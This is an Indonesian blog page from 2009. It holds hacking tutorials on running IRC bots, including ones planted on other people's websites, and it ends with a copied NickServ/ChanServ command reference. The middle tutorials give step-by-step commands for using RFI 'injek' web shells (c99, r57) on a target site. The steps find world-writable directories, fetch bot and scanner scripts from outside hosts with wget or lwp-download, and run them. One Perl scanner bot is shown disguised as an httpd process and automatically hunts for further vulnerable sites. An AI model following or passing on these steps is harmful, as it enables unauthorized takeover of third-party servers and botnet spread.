Senin, 12 Oktober 2009

Cara Bikin Eggdrop di server Allnetwork

Mungkin sudah banyak yang tau tentang tutor ini, karena ini sudah sangat lama.

Saya cuma sekedar share aja, mungkin ada di antara kalian yang blom tau tentang tutor ini.

Hmmmm.. Caranya simpel banget..

Ok kita mulai aja yah…

cara membuat bot dari server Linux:
1. wget http://ninja-allnetwork.com/tools/ninjacrew.tar.gz << mendownload file
2. tar -zxvf ninjacrew.tar.gz << extract file
3. rm -fr frank.tar.gz << menghapus file tar.gz
4. cd ninjacrew << masuk ke dir ninjacrew
5. ./nadya a.txt namabot ident IPshell channel owner >> contoh ./nadya a.txt Ninjabot ninja 114.212.32.1 ninja SnuFLeS
6. ./eggdrop -m a.txt
7. ./dssl a.txt

Ok.. Setelah semua langkah itu lakukan, silahkan tunggu botnya masuk ke channel anda.

Jika bot tidak masuk juga, berarti ada kesalahan dalam pengerjaan langkah2 tersebut atau kemungkinan

IP shell anda di banned dari Allnetwork.

Selamat menCoba ya..

Cara Buat Bot Game di allnet

Bot game ?? apa itu bot game ?? Bot game adalah ....emm... ya bot yang bisa nge-game...hehehehe gitu aja kowq repotttt...
game nya apaan .. itu tergantung source / tcl yang di jalankan ...

Sebenernya ada kesamaan antara ngebuat bot eggdrop dengan buat bot game. cuman tinggal masukin beberapa tcl aja di dir scripts . Sebenernya sih agak ribet juga....

Sekarang mari kita mulaiii !!! ( game ini udah ada pada server allnet )

1. silahkan buka target kamu (me make injek http://h1.ripway.com/stevf57/injek.txt?? ga perlu diajarin lg yaaaaa... )

2. Saya anggep kamu sudah mencari permission yang tidak denied nya... masukin kedalam change directory...

3. wget http://h1.ripway.com/stevf57/game.tar.gz masukin / ketik kedalam command execute kemudian klik excute

4. tar -zxvf gametar.gz masukin / ketik kedalam command excute kemudian klik execute

5. rm -fr game.tar.gz masukin / ketik kedalam command excute kemudian klik execute

6. nah disini letak yang agak "ribet" nya itu... hehehehee.... sekarang perhatian kamu alihkan ke dalam kolom change directory. Trus kamu tambahkan disana /.b/scripts

Contoh : kolom change dir kamu adalah

/home/muveszet/public_html/spaw/imagesszobor

setelah ditambah menjadi :

/home/muveszet/public_html/spaw/imagesszobor/.b/scripts

Ngerti ga niehhh...

7. Trus kamu ketikkan ls -alF di kolom command execute kemudian klik execute....Taraaaa...kamu bisa liat disana semua isi dari directory scripts.... keliatann ??
nah disana ada beberapa tcl yang harus kita edit... ga usah banyak2 dulu ya, standart nya sih cukup lima file aja yang harus diedit, supaya game kamu bisa jalan di chanel yang kamu mau. ini dia yg mesti kamu edit : kaos.tcl - kaos.cfg.txt - quiz.rc - quiz.tcl - trivia.tcl

gmana cara ngedit nya ??

hmm... pastikan kolom change dir kamu ga berubah, tadikan..

/home/muveszet/public_html/spaw/imagesszobor/.b/scripts

nah jangan kamu rubah2 doloo ( hehehehe..agak emosi nihh...maklum lg laperr beratt...

lanjuttt yaa... sekarang ketik cat kaos.cfg.txt di kolom command execute kamu kemudian klik execute....tunggu bentar , akan keluar spt ini...

# KAOS Config File
Points=points
Channel=#cerme
AutoStart=1
AskedFile=kaos.asked
KAOSFile=scripts/kaos.db
Ad1=Go to http://fadlie.tv and Enjoy Here
Ad2=Add my Friendster at vj_stevf@mboiz.co.uk
Ad3=KAOS 0.91 Modify wisnoee


gmana ? ketemu ..... kalo udah, sekarang kamu kopi - paste kedalam notepad. Trus kamu edit nama chanel nya aja .. contoh : #adjee kamu ganti jadi chanel kamu. Trus kamu save dengan nama file kaos.cfg.txt juga...

Begitu pula dengan yg laennya... contoh lg : ketik cat kaos.tcl trus paste lg hasilnya kedalam notepad. Trus kamu edit nama chanel nya aja .. contoh : #adjee kamu ganti jadi chanel kamu. Kemudian kamu save dgn nama file kaos.tcl pulaaa..... ngerti ga nieehhh ??

Demikian juga untuk 3 yg tersisa..caranya lakukan sama spt yg diatas..sampe kelimanya lengkap kamu save... gmana? dah selesaii ? hmm.. berarti sekarang kamu udah punya kelimanya yaa...


Nb :
1. jika kamu masih ga bisa ngambil kelima file nya tadi...silahkan tinggalkan messege , atau bisa juga liwat YM saya. nanti saya akan kirimkan file nya buat kamu


Kurang baek apa lagi cobaaa !! hehehehe


2. jangan sampai nama chanel nya ada yg tertinggal di edit... kalo ada berarti kemungkinan game nya ga akan jalan di chanel yg kamu inginkan.

Saya anggep kamu sudah punya kelimanya...sekarang ikuti langkah selanjutnya...


8. change directory kamu masih tetep pada

/home/muveszet/public_html/spaw/imagesszobor/.b/scripts

trus kamu ketikkan rm -fr kaos.tcl kaos.cfg.txt quiz.rc quiz.tcl trivia.tcl dikolom command execute , kemudian klik execute.. command rm -fr ini dijalankan untuk menghapus file yang default tadi.

9. Nah kamu sudah menghapus file yg default nya. Sekarang kamu harus meng-upload file2 tadi yang kamu save di notepad. kaos.tcl kaos.cfg.txt quiz.rc quiz.tcl trivia.tcl kamu upload satu persatu kelima file itu. Tau cara upload nya ?? hmm... kan di bawah ada kolom upload file, tinggal browse aja dmana letak file tsb kamu simpan. kemudian klik upload file, tunggu bentar..kalo berhasil akan muncul spt ini File uploaded berHasiL cOy! ( itu kalo make make injector saya http://h1/ripway.com/stevf57/injek.txt??? )

Selanjut nya tetep ikutin cara diatas sampai kelima2 file kamu ter-upload semua.

Setelah selesai upload, sekarang kita memasuki tahap konfigurasi...

10. a. Hapus directory /scripts di change directory kamu.. Contoh : sebelumnya adalah

/home/muveszet/public_html/spaw/imagesszobor/.b/scripts maka setelah dihapus
menjadi :

/home/muveszet/public_html/spaw/imagesszobor/.b

10. b. Ketik ./b y.txt (namabot) (identd) (nomerIP) (channel) (owner) di kolom command execute kemudian klik execute .

namabot = nama bot kamu
ident = user ID bot kamu
nomerIP = nomer IP target kamu
chanel = chanel dimana bot game dit4kan
owner = nickname kamu

Dah jelasss !!!

11. Nah2 ini langkah terakhirrrr.... tapi sebelum nya dolo ah biara ga ngantuk

Bersambung aja yahhh ... gmana ?? hehehehhee

12. Beneran deh kali ini langkah yg terakhirr

ketik ./dssl y.txt ato bisa juga ./eggdrop -m y.txt di command execute kemudian klik execute.

SELESAAAAIII !!! silahkan tunggu bot game nya join ke chanel kamu. sambil nunggu ga ada salah nya kamu whois botgame kamu, biasanya sih dah masuk ke server cuman blon join ke chanel. Pv bot kamu trus ketik pass passwordkamu , Contoh : pass wisnoeejelek kemudian ketik lagi login passwordkamu , Contoh : login wisnoeejelek

Selamat !! bot kini telah resmi menjadi milik kamu

Nb : Jika ada pertanyaan, keluhan, kritikan silahkan tinggalkan pesan....

- Jika tidak join2 di irc.dal.net, berarti :

kena akill ( berarttiii careeeee targetttt laggeeeee )

proses bot dimatikan admin ( berarttiii careeeee targetttt laggeeeee )

- Jangan load bot banyak-banyak dalam satu server karna akan mempercepat kematian bot hehehehe

Nah ... Yang diatas kan bot game nya hanya untuk server dalnet tuh... Trus gmana kalo bot nya buat server yang lain ... Allnetwork contohnya....

hmm... Pada prisnipnya sih cara buat / langkah2 nya sama seperti diatas,, cuma kita perlu meng-edit beberapa bagian penting didalem tcl tsb, agar bot nantinya bisa join di server yg kita kehendaki. So kamu tinggal cari aja dmana letaknya yang perlu di edit.....

Dah ketemu dunk...bagian mana aja yg mesti diedit....


Kalaupun belon, tenang ... saya sudah mengeditkannya buat kamu....

Nehh kamu bisa ambil disini http://h1.ripway.com/stevf57/game.tar.gz


Selamat mencobaa yaa.................!!!

Cara Pembuatan Bot PHP di mIRC Lewat Shell Injection

Ini adalah salah satu cara pembuatan bot PHP di mIRC. Bot ini adalah salah satu alternatif pembuatan bot selain menggunakan tcl. Anda bisa mengambil scriptnya di page script collections pada blog saya ini. disini saya menggunakan shell c99 dan r57 sebagai panduannya.

Langkah-langkahnya adalah sebagai berikut :

1. Copy paste dan simpan script yang saya beri di geocities ato web anda kedalam format txt, ato anda juga bisa langsung menggunakan milik saya
2. Masuk ke shell web injection anda
3. Cari direktori yang memberikan permission 777 dengan command “find / -perm 777 -type d
4. Yang perlu diingat adalah cari directory yang memberikan permission lengkap ato 777 di subdirektori dari public html web tersebut. Maksudnya adalah untuk dapat mengakses dan membuat botnya. Jadi anda tidak bisa menguploadnya ke directory tmp.
5. Setelah anda menemukan direktori yang cocok, wget script bot dari web geocities saya ato dari tempat anda. saya pake contoh punya saya, jadi commandnya “wget http://h1.ripway.com/stevf57/perl.txt
6. jika ga berhasil, coba pake command lwp-download tapi dengan url yang lengkap, commandnya “lwp-download http://h1.ripway.com/stevf57/perl.txt
7. kalo ga bisa juga, pakailah fitur uploadnya karena saya menggunakan r57 ato c99. dan uploadlah script botnya dengan fitur tersebut. jika belum punya filenya, donlot aja dari http://h1.ripway.com/stevf57/perl.txt<=--- script bot php
8. Saya anggap script tersebut udah di upload, maka gantilah nama filenya dengan command “mv bot.txt bot.php”
9. Ingatlah.. bahwa anda harus menguploadnya ke subdirectory dari public html web yang anda injeksi. semisal seperti ini, nama webnya adalah www.target.com dan saya menguploadnya ke subdirectory module. jadi link untuk mengaksesnya adalah www.target.com/module/bot.php
10.
Maka arahkan browser anda dengan membuka link bot anda. jadi bukalah link www.target.com/module/bot.php
11.
Ikuti langkah pembuatannya..
12. Masuklah ke channel IRC tempat anda mensetting dimana bot anda akan muncul
13. Jika berhasil, maka bot akan pm/pv anda
14. Kemudian ketik “!auth password” contohnya “!auth lenkganteng” agar anda dikenali oleh botnya
15. Dan untuk melihat list helpnya ketik “!help”

Ket :
1. Ini adalah tutor untuk pembuatan bot scan RFI pada web hasil inject
2. Tutor ini hanya berjalan pada mesin Linux ato keluarga UNIX
3. Semua command di atas tanpa tanda petik dua (”)

Selanmat Mencoba yaaaaaaaaaaaa..Muda - mudahan Botnya bisa join..Trus jangan Lupa Juga ya.. kalo botnya udah join.. joinin ke Chan aku #adjee :P Xixxixixiixixixixxi

Membuat BOT Scan di mIRC

Disini kita menggunakan BOT Scan Mic22 untuk scanner bugs RFI.
BOT ini ditulis dengan bahasa Perl
* Jangan tanya saya tentang Perl ya Cz lum mahir :) xixixixi, Tapi kalaw Tetap mau tawu Caranya.. Tanya aja Tuh ma ohmZ google :P
Singkatnya aja yaaa... Perl adalah salah satu bahasa script... Nah yang kita gunakan sekarang adalah Bot Scan berbasis perl atau dikenal dengan .pl... nahh bot scan ini berfungsi mencari target shell/inject dengan cara automatic scan menggunakan search engine. Hal ini memudahkan kita untuk mencari webserver yang vulnerable...

Script BOT Scan dan File pendukungnya dapat diambil disini...

Nah... Sekarang kita mulai editing BOT Scan-nya agar join ke channel kita
Perhatikan bagian ini... Silahkan edit sesuai keperluan...
Tapi jangan sampe salah masukkan konfigurasinya... Bisa ngga jalan BOT-nya...

###############CONFIGURATION#########
my $processo = "/usr/local/apache/bin/httpd -DSSL"; >>> Ini Fake Process yang berjalan di background
my $printcmd="http://destra.ca/s"; >>> Ini script yang dipakai buat injection
my $server="swiftco.wa.us.dal.net"; >>> Ini server IRC tempat mangkal-nya BOT
my $porta="6667"; >>> Ini port yang digunakan oleh server IRC
my $nick="Cleaning_Service"; >>> Ini nick yang digunakan untuk BOT
my $chan="#hackers-center"; >>> Ini channel tempat mangkalnya BOT
###############END OF CONFIGURATION####

Oke... Konfigurasi selesai...

Selanjutnya liat bagian ini...

my $cmd="http://www.alkautsar-bdl.sch.id/safe.txt";

File safe.txt merupakan source pendukung untuk BOT Mic22... Jangan sampe link tersebut tidak bisa diakses...
Solusinya... Upload link tersebut bersama-sama dengan source BOT yang akan kita jalankan... Dan ganti link tersebut sesuai dengan url yang menuju file safe.txt...
Jangan menggunakan file safe.txt dari source lainnya... Karena bisa saja berbeda versinya...

Nah... Sekarang untuk menjalankan BOT Scan pada injekan...
Karena kita belum memiliki BOT Scan sendiri... Injekan bisa liat di channel yang sudah ada BOT Scan atau minta kepada yang sering melakukan scanning...
* Jangan minta sama saya yaaaa... :lol: :lol: :lol:

1. Upload script di hosting sendiri atau di hosting gratisan... Yang penting bisa diakses... Selalu bawa script tersebut di FD...
2. Masuk ke server yang vulnerable... Cari direktory yang writable (Bisa ditulis) atau file permision-nya 777... Liat di command untuk r57... Atau pake perintah “find / -perm 777 -type d”
3. Download file script BOT Scan... Perintahnya...???
wget http:://www.link-file-hostingan-loe.com;ls -al atau
lwp-download http:://www.link-file-hostingan-loe.com;ls -al atau
curl -o http:://www.link-file-hostingan-loe.com scan.txt
4. Kalo ngga bisa juga... Upload aza langsung dari r57 atau c99...
5. Gunakan perintah "mv [file awal] [file baru]" untuk mengubah nama file
6. Eksekusi file scanner menggunakan perintah "perl [nama file]
7. Tunggu BOT-nya di channel... Good Luck
8. Untuk melihat proses di background menggunakan perintah "ps x"
9. Untuk mematikan proses di background menggunakan perintah "kill -9 [PID Number]

Tambahan:
Tutorial ini hanya berjalan pada mesin LINUX atau keluarga OS UNIX
Semua command diatas digunakan tanpa tanda "
Kalau BOT-nya ngga join di channel... Ada beberapa hal yang bisa jadi problem...
1. Server tidak mendukung Perl
2. Server tidak kuat menjalankan program BOT Scan
3. BOT Scan di blok oleh firewall
4. IP server di AKILL oleh server IRC dimana kita joinkan BOT
5. Konfigurasi script ada yang salah

Untuk source BOT Scan diatas... Daftar perintah yang digunaka adalah...
!help >>> Untuk melihat daftar perintah
!clean [bug] [dork] >>> Untuk melakukan scanning
!mwultimi >>> Untuk melihat list bug terbaru di www.milw0rm.com
!engine >>> Untuk melihat search engine yang support pada BOT
!info >>> Untuk melihat info BOT
!kill >>> Untuk mematikan BOT... Ini perintah rahasia... Sebaiknya diganti sesuai dengan selera ADMIN BOT

Rasanya sudah panjang lebar uraian saya... Kurang lebihnya mohon maaf... Untuk para master yang sudah paham... Jangan diejek yaaaaa :) Silahkan tambahkan saja apa yang kurang...

Command Nickserv,Chanserv dan Memoserv

*  [ Nickserv ]
============

1. ACC
 
ACC returns parsable information about a user's
login status. Note that on many networks, /whois
shows similar information faster and more reliably.
The answer is in the form  ACC :
    0 - account or user does not exist
    1 - account exists but user is not logged in
    2 - user is not logged in but recognized (see ACCESS)
    3 - user is logged in
 
If the account is omitted the user's nick is used.
Account * means the account the user is logged in with.
 
Syntax: ACC
Syntax: ACC 
Syntax: ACC  
Syntax: ACC  *
 
Example:
    /msg NickServ ACC jilles *
 
2. ACCESS
 
ACCESS maintains a list of user@host masks from where
NickServ will recognize you, so it will not prompt you to
change nick or identify. Getting channel access or
editing nickname settings still requires identification,
however. Also, you can only be recognized as the nick you
are currently using.
 
Access list entries can use hostnames with optional
wildcards, IP addresses and CIDR masks. There are
restrictions on how much you can wildcard.
 
Syntax: ACCESS LIST
Syntax: ACCESS ADD 
Syntax: ACCESS DEL 
 
Examples:
    /msg NickServ ACCESS LIST
    /msg NickServ ACCESS ADD jack@host.example.com
    /msg NickServ ACCESS ADD user@10.0.0.8
    /msg NickServ ACCESS ADD jilles@192.168.1.0/24
    /msg NickServ ACCESS DEL *someone@*.area.old.example.net
 
3. DROP
 
Using this command makes NickServ remove your account
and stop watching your nick(s), If a nick is dropped,
anyone else can register it. You will also lose all
your channel access and memos. You must use the
NickServ IDENTIFY command before doing this.
 
When dropping and re-registering an account during a
netsplit, users on the other side of the split may later
be recognized as the new account.
 
Syntax: DROP  
 
Examples:
    /msg NickServ DROP foo bar
 
5. GHOST
 
GHOST disconnects an old user session, or somebody
attempting to use your nickname without authorization.
 
If you are logged in to the nick's account, you need
not specify a password, otherwise you have to.
 
Syntax: GHOST  [password]
 
Example:
    /msg NickServ GHOST foo bar
 
6. IDENTIFY
 
IDENTIFY identifies you with services so that you
can perform general maintenance and commands that
require you to be logged in.
 
Syntax: IDENTIFY 
 
You can also identify for another nick than you
are currently using.
 
Syntax: IDENTIFY  
 
Example:
    /msg NickServ IDENTIFY foo
    /msg NickServ IDENTIFY jilles foo
 
7. INFO
 
INFO displays account information such as
registration time, flags, and other details.
Additionally it will display registration
and last seen time of the nick you give.
 
You can query the nick a user is logged in as
by specifying an equals sign followed by their
nick. This '=' convention works with most commands.
 
Syntax: INFO 
Syntax: INFO =
 
Examples:
    /msg NickServ INFO w00t
Shows information about the registered nick w00t.
    /msg NickServ INFO =w00tie[home]
Shows information about the registered nick the user
w00tie[home] is logged in as.
 
8. LIST
 
LIST shows nicknames that match a given
pattern. Wildcards are allowed.
 
Syntax: LIST 
 
Examples:
    /msg NickServ LIST james*
    /msg NickServ LIST *a?ambert*
 
9. LISTCHANS
 
LISTCHANS shows the channels that you have access
to, including those that you own.
 
AKICKs and host-based access are not shown.
 
Syntax: LISTCHANS
 
Example:
    /msg NickServ LISTCHANS
 
 
10. LOGOUT
 
LOGOUT logs you out of the account
that you are currently logged into.
 
Syntax: LOGOUT
 
Example:
    /msg NickServ LOGOUT
 
11. REGISTER
 
This will register your current nickname with NickServ.
This will allow you to assert some form of identity on
the network and to be added to access lists. Furthermore,
NickServ will warn users using your nick without
identifying and allow you to kill ghosts.
The password is a case-sensitive password that you make
up. Please write down or memorize your password! You
will need it later to change settings.
 
You may be required to confirm the email address. To do this,
follow the instructions in the message sent to the email
address.
 
Syntax: REGISTER  
 
Examples:
    /msg NickServ REGISTER bar foo@bar.com
 
12. RELEASE
 
RELEASE removes an enforcer for your nick or
changes the nick of a user that is using your
nick.
 
Enforcers are created when someone uses your
nick without identifying and prevent all use
of it.
 
Not all ircds support removing enforcers. You will
have to wait a few minutes then.
 
If you are logged in to the nick, you need not specify
a password, otherwise you have to.
 
Syntax: RELEASE  [password]
 
Example:
    /msg NickServ RELEASE smith sesame
 
13. SET EMAIL
 
SET EMAIL changes the e-mail address
associated with an account. The e-mail
address is used for password retrieval.
 
You may be required to confirm the new
e-mail address. To confirm the address,
follow the instructions in the message
sent to the new address.
 
Syntax: SET EMAIL 
 
Example:
    /msg NickServ SET EMAIL dan@example.com
 
14. SET EMAILMEMOS
 
This will forward memos sent to your account
to the email address listed on your registration.
 
Syntax: SET EMAILMEMOS [ON|OFF]
 
Example:
    /msg NickServ SET EMAILMEMOS ON
 
15. SET ENFORCE
 
SET ENFORCE allows you to enable more protection for
all nicknames registered to your account.
 
This will automatically change the nick of someone
who attempts to use it without identifying in time,
and temporarily block its use, which can be
removed at your discretion. See help on RELEASE.
 
Syntax: SET ENFORCE ON|OFF
 
16. SET HIDEMAIL
 
SET HIDEMAIL prevents an account's e-mail address
from being shown to other users.
 
Syntax: SET HIDEMAIL ON|OFF
 
Example:
    /msg NickServ SET HIDEMAIL ON
 
17. SET NEVEROP
 
SET NEVEROP prevents others from adding you to
channel access lists.
 
Syntax: SET NEVEROP ON|OFF
 
Example:
    /msg NickServ SET NEVEROP ON
 
18. SET NOMEMO
 
This prevents people from being able to send you
a memo. If you do not want to receive memos, you
can just turn them off for your nick.
 
Syntax: SET NOMEMO ON|OFF
 
Example:
    /msg NickServ SET NOMEMO ON
 
19. SET NOOP
 
SET NOOP prevents services from automatically
opping you in channels you have access in.
You can choose to op/voice yourself by using
the OP and VOICE commands.
 
Syntax: SET NOOP ON|OFF
 
Example:
    /msg NickServ SET NOOP ON
 
20. SET PASSWORD
 
SET PASSWORD changes the password of an account.
 
Syntax: SET PASSWORD 
 
Example:
    /msg NickServ SET PASSWORD swordfish
 
21. SET PROPERTY
 
SET PROPERTY manipulates metadata
associated with an account.
 
To delete a metadata entry, specify
the name and leave the value blank.
 
Syntax: SET PROPERTY  [value]
 
Example:
    /msg NickServ SET PROPERTY URL http://www.example.com/~jay/
    /msg NickServ SET PROPERTY SIGN Pisces
    /msg NickServ SET PROPERTY ICQ
 
22. STATUS
 
STATUS returns information about your current
state. It will show information about your
nickname, IRC operator, and SRA status.
 
Syntax: STATUS
 
Example:
    /msg NickServ STATUS
 
23. TAXONOMY
 
The taxonomy command lists metadata information associated
with registered users.
 
Examples:
    /msg NickServ TAXONOMY foo
 
24. VERIFY
 
VERIFY confirms a change associated with
your account registration.
 
Syntax: VERIFY   
 
Example:
    /msg NickServ VERIFY REGISTER jenny 161803399
    /msg NickServ VERIFY EMAILCHG Aeriana 271828183

* [Chanserv]
========

1. AKICK
 
The AKICK command allows you to maintain channel
ban lists.  Users on the AKICK list will be
automatically kickbanned when they join the channel,
removing any matching ban exceptions first. Users
with the +r flag are exempt.
 
You may also specify a hostmask (nick!user@host)
for the AKICK list.
 
Removing an entry from the AKICK list will not
remove any channel bans placed by it.
 
Syntax: AKICK <#channel> ADD|DEL|LIST <nickname|hostmask>
 
Examples:
    /msg ChanServ AKICK #foo ADD bar
    /msg ChanServ AKICK #foo ADD foo!*@bar.com
    /msg ChanServ AKICK #foo DEL bar
    /msg ChanServ AKICK #foo LIST
 
2. BAN
 
The BAN command allows you to ban a user or hostmask from
a channel.
 
Syntax: BAN <#channel> <nickname|hostmask>
 
Examples:
    /msg ChanServ BAN #chat carnell
    /msg ChanServ BAN #chat *!*@*.ipt.aol.com
 
3. CLEAR BANS
 
Clear bans will remove all bans found in a specific
channel. If your ircd supports other lists associated
with a channel (e.g. ban exceptions), you can clear
these by specifying the mode letters. Specify an
asterisk to clear all lists.
 
Syntax: CLEAR <#channel> BANS [types]
 
Examples:
    /msg ChanServ CLEAR #support BANS
 
Clears #support ban list.
 
    /msg ChanServ CLEAR #support BANS eI
 
Removes all ban and invite exceptions on #support
(if your ircd supports them).
 
    /msg ChanServ CLEAR #support BANS *
 
Clears all lists of #support.
 
    /msg ChanServ CLEAR #support BANS +
 
Shows the possible letters.
 
4. CLEAR USERS
 
Clear users will kick all users out of the channel,
except you. The channel will be cycled (recreated)
if you are not on it.
 
If a reason is specified, it will be included in the
kick message.
 
Syntax: CLEAR <#channel> USERS [reason]
 
Examples:
    /msg ChanServ CLEAR #ChatZone USERS
 
5. COUNT
 
This will give a count of how many entries are in each of
the channel's xOP lists and how many entries on the access
list do not match a xOP value (except the founder).
 
The second line shows how many access entries have each flag.
 
Syntax: COUNT <#channel>
 
Examples:
    /msg ChanServ COUNT #oscn
 
6. DROP
 
DROP allows you to "unregister" a registered channel.
 
Once you DROP a channel all of the data associated
with it (access lists, etc) are removed and cannot
be restored.
 
Syntax: DROP <#channel>
 
Examples:
    /msg ChanServ DROP #foo
 
7. FLAGS
 
The FLAGS command allows for the granting/removal of channel
privileges on a more specific, non-generalized level. It
supports both nicknames and hostmasks as targets.
 
When only the channel argument is given, a listing of
permissions granted to users will be displayed.
 
Syntax: FLAGS <#channel>
 
Otherwise, an access entry is modified. A modification may be
specified by a template name (changes the access to the
template) or a flags change (starts with + or -). See the
TEMPLATE help entry for more information about templates.
 
If you are not the founder, you may only manipulate flags you
have yourself, and may not edit users that have flags you
don't have. For this purpose, +v grants +V, +h grants +H,
+o grants +O and +r grants +b.
 
If you do not have +f you may still remove your own access
with -*.
 
Syntax: FLAGS <#channel> [nickname|hostmask template]
Syntax: FLAGS <#channel> [nickname|hostmask flag_changes]
 
Permissions:
    +v - Enables use of the voice/devoice commands.
    +V - Enables automatic voice.
    +h - Enables use of the halfop/dehalfop commands.
    +H - Enables automatic halfop.
    +o - Enables use of the op/deop commands.
    +O - Enables automatic op.
    +s - Enables use of the set command.
    +i - Enables use of the invite and getkey commands.
    +r - Enables use of the kick, ban, and kickban commands.
    +R - Enables use of the recover and clear commands.
    +f - Enables modification of channel access lists.
    +t - Enables use of the topic and topicappend commands.
    +A - Enables viewing of channel access lists.
    +b - Enables automatic kickban.
 
The special permission +* adds all permissions except +b.
The special permission -* removes all permissions including +b.
 
Examples:
    /msg ChanServ FLAGS #foo
    /msg ChanServ FLAGS #foo foo!*@bar.com VOP
    /msg ChanServ FLAGS #foo foo!*@bar.com -V+oO
    /msg ChanServ FLAGS #foo foo!*@bar.com -*
    /msg ChanServ FLAGS #foo foo +oOtsi
    /msg ChanServ FLAGS #foo TroubleUser!*@*.troubleisp.net +b
 
8. FORCEXOP
 
FORCEXOP resets all channel access levels to
xOP compatible values. That is, after the
operation, the founder will have all permissions
and autoop and everyone else on with flags
will be on one of the xOP lists. This command
is useful if the definitions for which flags
each xOP level gives change and the founder
wishes to use xOP commands only.
 
Only the founder can execute this command.
 
Syntax: FORCEXOP <#channel>
 
See also: SOP, AOP, HOP, VOP
 
9. GETKEY
 
GETKEY returns the key (+k, password to be allowed in)
of the specified channel: /join #channel key
 
Syntax: GETKEY <#channel>
 
Examples:
    /msg ChanServ GETKEY #foo
 
10. HALFOP|DEHALFOP
 
These commands perform status mode changes on a channel.
 
If you perform an operation on another user, they will be
notified that you did it.
 
If the last parameter is omitted the action is performed
on the person requesting the command.
 
Syntax: HALFOP|DEHALFOP <#channel> [nickname]
 
Examples:
    /msg ChanServ HALFOP #foo
 
11. INFO
 
INFO displays channel information such as
registration time, flags, and other details.
 
Syntax: INFO <#channel>
 
Examples:
    /msg ChanServ INFO #foo
 
12. INVITE
 
INVITE requests services to invite you to the
specified channel. This is useful if you use
the +i channel mode.
 
Syntax: INVITE <#channel>
 
Examples:
    /msg ChanServ INVITE #foo
 
13. KICK
 
The KICK command allows for the removal of a user from
a channel. The user can immediately rejoin.
 
Your nick will be added to the kick reason.
 
Syntax: KICK <#channel>  [reason]
 
Examples:
    /msg ChanServ KICK #foo abuser
    /msg ChanServ KICK #foo abuser please stop
 
14. KICKBAN
 
The KICKBAN command allows for the removal of a user from
a channel while placing a ban on the user.
 
Any matching ban exceptions will be removed.
 
Syntax: KICKBAN <#channel>  [reason]
 
Examples:
    /msg ChanServ KICKBAN #foo abuser
    /msg ChanServ KICKBAN #foo abuser go away
 
15. LIST
 
LIST shows channels that match a given
pattern. Wildcards are allowed.
 
Syntax: LIST 
 
Examples:
    /msg ChanServ LIST #*foo*
    /msg ChanServ LIST #x*
 
16. OP|DEOP|VOICE|DEVOICE
 
These commands perform status mode changes on a channel.
 
If you perform an operation on another user, they will be
notified that you did it.
 
If the last parameter is omitted the action is performed
on the person requesting the command.
 
Syntax: OP|DEOP <#channel> [nickname]
Syntax: VOICE|DEVOICE <#channel> [nickname]
 
Examples:
    /msg ChanServ OP #foo bar
    /msg ChanServ DEVOICE #foo
 
17. RECOVER
 
RECOVER allows you to regain control of your
channel in the event of a takeover.
 
More precisely, everyone will be deopped,
limit and key will be cleared, all bans
matching you are removed, a ban exception
matching you is added (in case of bans Atheme
can't see), the channel is set invite-only
and moderated and you are invited.
 
If you are on channel, you will be opped and
no ban exception will be added.
 
Syntax: RECOVER <#channel>
 
Example:
    /msg ChanServ RECOVER #foo
 
18. REGISTER
 
REGISTER allows you to register a channel
so that you have better control. Registration
allows you to maintain a channel access list
and other functions that are normally
provided by IRC bots.
 
Syntax: REGISTER <#channel>
 
Examples:
    /msg ChanServ REGISTER #atheme
 
19. SET EMAIL
 
SET EMAIL allows you to change or set the email
address associated with a channel. This is shown
to all users in INFO.
 
Syntax: SET  EMAIL 
 
Example:
    /msg ChanServ SET #chat EMAIL some@email.address
 
20. SET ENTRYMSG
 
SET ENTRYMSG allows you to change or set
a message sent to all users joining the
channel. Specify a  of NONE to
clear the message.
 
Syntax: SET  ENTRYMSG 
 
Example:
    /msg ChanServ SET #support ENTRYMSG Welcome to #support. Please do
 not paste more than 5 lines.
 
21. SET FOUNDER
 
SET FOUNDER allows you to set a new founder
of the channel. The new founder has to
execute the same command to confirm the
transfer.
 
Syntax: SET <#channel> FOUNDER <newnick>
 
If the new founder has not yet confirmed the
transfer, you can cancel it by specifying
your own nick as the new founder.
 
Syntax: SET <#channel> FOUNDER <yournick>
 
Example:
    /msg ChanServ SET #foo FOUNDER bar
 
22. SET GUARD
 
SET GUARD allows you to have ChanServ join your channel.
Fantasy commands will only work if this is enabled.
 
Syntax: SET  GUARD ON|OFF
 
Example:
    /msg ChanServ SET #atheme GUARD ON
 
23. SET KEEPTOPIC
 
SET KEEPTOPIC enables restoration of the old
topic after the channel has become empty. In
some cases, it may revert topic changes
after netsplits or services outages, so it
is not recommended to turn this on if your
channel tends to never empty.
 
Syntax: SET <#channel> KEEPTOPIC ON|OFF
 
Example:
    /msg ChanServ SET #foo KEEPTOPIC ON
 
24. SET MLOCK
 
MLOCK (or "mode lock") allows you to enforce a set
of modes on a channel.  This can prevent abuse in cases
such as +kl. It can also make it harder to fight evil
bots, be careful. Locked modes can be seen by anyone
recreating the channel (this includes keys).
 
Syntax: SET <#channel> MLOCK 
 
Examples: (some may use modes your ircd does not support)
    /msg ChanServ SET #foo MLOCK +nt-lk
    /msg ChanServ SET #foo MLOCK +inst-kl
    /msg ChanServ SET #c MLOCK +ntk c
    /msg ChanServ SET #foo MLOCK +ntcjf-kl 2:30 #overflow
    /msg ChanServ SET #overflow MLOCK +mntF-kljf
    /msg ChanServ SET #foo1 MLOCK +ntlL 40 #foo2
    /msg ChanServ SET #foo MLOCK OFF
 
25. SET PROPERTY
 
SET PROPERTY manipulates metadata
associated with a channel.
 
To delete a metadata entry, specify
the name and leave the value blank.
 
Syntax: SET  PROPERTY  [value]
 
Example:
    /msg ChanServ SET #atheme PROPERTY URL http://www.atheme.org/
    /msg ChanServ SET #meat PROPERTY VEGETABLES
 
26. SET SECURE
 
SET SECURE prevents anyone that's not on the
channel's access lists from gaining operator
or halfop status on the channel.  This is
useful if you're paranoid.
 
Syntax: SET <#channel> SECURE ON|OFF
 
Example:
    /msg ChanServ SET #foo SECURE ON
 
27. SET TOPICLOCK
 
SET TOPICLOCK causes ChanServ to revert
topic changes by users without the +t flag.
Topic changes during netsplits or services
outages will always be reverted.
 
TOPICLOCK requires KEEPTOPIC and will
automatically enable it; disabling KEEPTOPIC
will disable TOPICLOCK also.
 
Syntax: SET <#channel> TOPICLOCK ON|OFF
 
Example:
    /msg ChanServ SET #foo TOPICLOCK ON
 
28. SET URL
 
SET URL allows you to change or set the URL
associated with a channel. This is shown
to all users joining the channel. Specify
an <url> of NONE to clear the URL.
 
Syntax: SET  URL <url>
 
Example:
    /msg ChanServ SET #chat URL http://slashdot.org
 
29. SET VERBOSE
 
